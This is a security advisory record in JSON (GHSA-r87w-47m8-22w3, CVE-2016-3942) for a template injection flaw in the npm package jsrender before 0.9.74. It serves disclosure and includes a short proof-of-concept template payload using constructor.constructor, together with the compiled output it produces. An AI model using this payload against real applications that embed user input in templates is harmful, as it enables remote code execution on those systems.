{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.73"
      },
      "package": {
        "ecosystem": "npm",
        "name": "jsrender"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.74"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-3942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:10:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.\n\n## Proof of Concept\n\n\n```js\n//POC-REQUEST\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n```\n\n```js\n//POC-RESPONSE\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:[\u0027~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)\u0027]}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n```\n\n\n## Recommendation\n\nUpdate to version 0.9.74 or later.",
  "id": "GHSA-r87w-47m8-22w3",
  "modified": "2023-09-07T20:41:26Z",
  "published": "2020-09-01T15:24:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BorisMoore/jsrender"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-DOTNET-JSRENDER-60173"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/97"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Template Injection in jsrender"
}